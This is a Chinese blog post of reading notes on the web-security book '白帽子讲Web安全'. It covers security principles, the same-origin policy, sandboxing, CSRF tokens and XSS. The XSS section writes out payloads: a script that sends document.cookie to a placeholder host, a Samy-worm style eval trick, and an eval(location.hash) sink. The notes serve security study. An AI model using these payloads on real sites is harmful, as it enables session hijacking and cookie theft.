《白帽子讲Web安全》读书笔记

本文是《白帽子讲Web安全》一书的读书笔记,深入探讨了Web安全的基础概念和高级策略,包括安全三要素、白帽子兵法、浏览器安全、XSS与CSRF、SQL注入防御、文件上传漏洞、认证授权机制、DDoS攻击及防御、业务逻辑安全等多个方面,旨在提升Web应用的安全性。
摘要由CSDN通过智能技术生成
------

“安全问题的本质是信任的问题”

安全三要素:机密性、完整性、可用性

白帽子兵法:Secure By Default 原则(1:黑白单、白名单 2:最小权限原则)、纵深防御原则、数据与代码分离原则、不可预测性原则

“所有的程序本来也没有漏洞,只有功能,但当一些功能被用于破坏,造成损失时,也就成了漏洞。”

浏览器安全:同源策略、浏览器沙箱(备注:沙箱内的程序要与外界通信时是通过特殊封装的API进行的,这些API内部通常有着很强的安全检测)

------

XSS Payload:
<script src=http://xxx/evil.js></script>
evil.js 内容:
var img = document.createElement("img");
img.src = "http://xxx/log?"+escape(document.cookie);
document.body.appendChild(img);

XSS Worm:Samy Worm、百度空间蠕虫

<DIV id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="..."></DIV>

利用字符编码:%c1\(备注:基于字符集的攻击,让原来的两个字符变成一个Unicode字符,从而“吃掉”转义符)

eval(location.hash.substr(1))

------

Anti CSRF Token

(再次理解“同源策略”)
(区别 XSS 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值